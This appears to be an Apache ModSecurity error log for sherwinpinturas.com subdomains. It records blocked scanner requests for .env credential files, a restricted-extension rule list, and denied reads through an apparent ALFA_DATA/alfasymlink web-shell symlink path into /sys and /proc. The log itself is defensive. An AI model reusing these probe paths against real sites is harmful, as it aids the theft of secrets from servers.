[Mon Oct 26 16:15:05.566117 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at-0yc-doU5lRL_NAI8P_QAAAAE"]
[Mon Oct 26 16:15:05.694490 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at-0yc-doU5lRL_NAI8P_gAAAAE"]
[Mon Oct 26 16:15:05.694716 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at-0yc-doU5lRL_NAI8P_gAAAAE"]
[Mon Oct 26 16:15:05.695051 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at-0yc-doU5lRL_NAI8P_gAAAAE"]
[Mon Oct 26 16:15:05.803173 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at-0yc-doU5lRL_NAI8P_wAAAAE"]
[Mon Oct 26 16:15:05.803424 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at-0yc-doU5lRL_NAI8P_wAAAAE"]
[Mon Oct 26 16:15:05.803676 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at-0yc-doU5lRL_NAI8P_wAAAAE"]
[Mon Oct 26 16:15:05.923995 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at-0yc-doU5lRL_NAI8QAAAAAAE"]
[Mon Oct 26 16:15:05.924255 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at-0yc-doU5lRL_NAI8QAAAAAAE"]
[Mon Oct 26 16:15:05.924630 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at-0yc-doU5lRL_NAI8QAAAAAAE"]
[Mon Oct 26 16:15:06.162774 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at-0ys-doU5lRL_NAI8QAQAAAAE"]
[Mon Oct 26 16:15:06.163021 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at-0ys-doU5lRL_NAI8QAQAAAAE"]
[Mon Oct 26 16:15:06.163353 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at-0ys-doU5lRL_NAI8QAQAAAAE"]
[Mon Oct 26 16:15:06.316829 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at-0ys-doU5lRL_NAI8QAgAAAAE"]
[Mon Oct 26 16:15:06.317125 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at-0ys-doU5lRL_NAI8QAgAAAAE"]
[Mon Oct 26 16:15:06.317478 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at-0ys-doU5lRL_NAI8QAgAAAAE"]
[Mon Oct 26 16:15:06.448684 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at-0ys-doU5lRL_NAI8QAwAAAAE"]
[Mon Oct 26 16:15:06.448954 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at-0ys-doU5lRL_NAI8QAwAAAAE"]
[Mon Oct 26 16:15:06.449405 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at-0ys-doU5lRL_NAI8QAwAAAAE"]
[Mon Oct 26 16:15:06.569636 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at-0ys-doU5lRL_NAI8QBAAAAAE"]
[Mon Oct 26 16:15:06.569874 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at-0ys-doU5lRL_NAI8QBAAAAAE"]
[Mon Oct 26 16:15:06.570209 2026] [security2:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at-0ys-doU5lRL_NAI8QBAAAAAE"]
[Mon Oct 26 16:15:06.736053 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.225.138.57:28353] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:15:10.766432 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.218.6.93:32688] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:15:14.762781 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 34.239.85.139:60151] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:15:22.759550 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.200.251.20:14385] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:15:34.754567 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 54.210.155.69:56234] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:15:38.948869 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 18.235.158.19:61064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/cpu_slabs
[Mon Oct 26 16:15:47.003625 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.197.82.195:16674] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:16:14.969350 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 44.221.227.90:22086] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:16:31.117152 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 100.29.128.75:41518] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:16:33.623439 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 185.191.171.14:65006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-32/partial
[Mon Oct 26 16:16:34.904969 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.236.41.241:25015] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:16:39.109077 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 18.204.89.56:24904] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:16:42.317415 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 185.191.171.9:32492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/objs_per_slab
[Mon Oct 26 16:16:42.919184 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.212.86.97:23935] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:16:47.010712 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 34.225.243.131:36577] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:16:58.957215 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.205.74.196:11906] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:17:04.828273 2026] [security2:error] [pid 3084087:tid 3084087] [client 107.172.76.131:56344] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-1NMIUSmVbci-Yv-8AGwAAAEo"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 16:17:04.828341 2026] [security2:error] [pid 3084087:tid 3084087] [client 107.172.76.131:56344] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-1NMIUSmVbci-Yv-8AGwAAAEo"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 16:17:06.982632 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 50.19.79.213:49414] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:17:15.229494 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 185.191.171.13:11776] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8k/cpu_slabs
[Mon Oct 26 16:17:23.105383 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.217.255.167:56306] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:17:27.068399 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.0.41.164:49521] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:17:31.024997 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 98.83.177.42:41890] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:17:37.211090 2026] [authz_core:error] [pid 3065807:tid 3065807] [client 34.145.7.8:56534] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 16:17:43.216251 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.235.239.240:13673] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:17:47.162356 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 3.94.156.104:3405] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/node0/compact
[Mon Oct 26 16:17:55.259982 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.194.139.149:34080] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:18:12.424240 2026] [security2:error] [pid 3084023:tid 3084023] [client 185.191.171.14:36560] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at-1hHMs9DEewnALzGZ0KQAAACM"]
[Mon Oct 26 16:18:12.424587 2026] [security2:error] [pid 3084023:tid 3084023] [client 185.191.171.14:36560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at-1hHMs9DEewnALzGZ0KQAAACM"]
[Mon Oct 26 16:18:12.424895 2026] [security2:error] [pid 3084023:tid 3084023] [client 185.191.171.14:36560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at-1hHMs9DEewnALzGZ0KQAAACM"]
[Mon Oct 26 16:18:15.474297 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.220.70.171:20336] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:18:19.172525 2026] [ssl:error] [pid 3084056:tid 3084056] (5)Input/output error: [client 35.169.119.108:23673] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:18:27.281091 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.226.106.93:5408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:18:30.382650 2026] [security2:error] [pid 3089355:tid 3089355] [client 130.12.180.171:48134] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-1lml9busrkyxI7OQWSwAAAAI"]
[Mon Oct 26 16:18:30.382907 2026] [security2:error] [pid 3089355:tid 3089355] [client 130.12.180.171:48134] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-1lml9busrkyxI7OQWSwAAAAI"]
[Mon Oct 26 16:18:30.383197 2026] [security2:error] [pid 3089355:tid 3089355] [client 130.12.180.171:48134] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-1lml9busrkyxI7OQWSwAAAAI"]
[Mon Oct 26 16:18:35.527981 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 44.221.227.90:26960] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:19:00.525358 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 185.191.171.17:24370] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_node/alloc_calls
[Mon Oct 26 16:19:11.371336 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.209.100.30:26843] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:19:34.904458 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 85.208.96.207:17942] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/min_partial
[Mon Oct 26 16:19:35.668153 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 34.227.234.246:22925] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:19:39.608460 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.229.164.203:16254] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:19:43.356244 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.147.238.89:5189] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:19:43.810912 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 85.208.96.197:34360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kcare/parameters/kmsg_output
[Mon Oct 26 16:19:47.429022 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 34.197.28.78:47714] AH02013: coalesce failed to read from data bucket
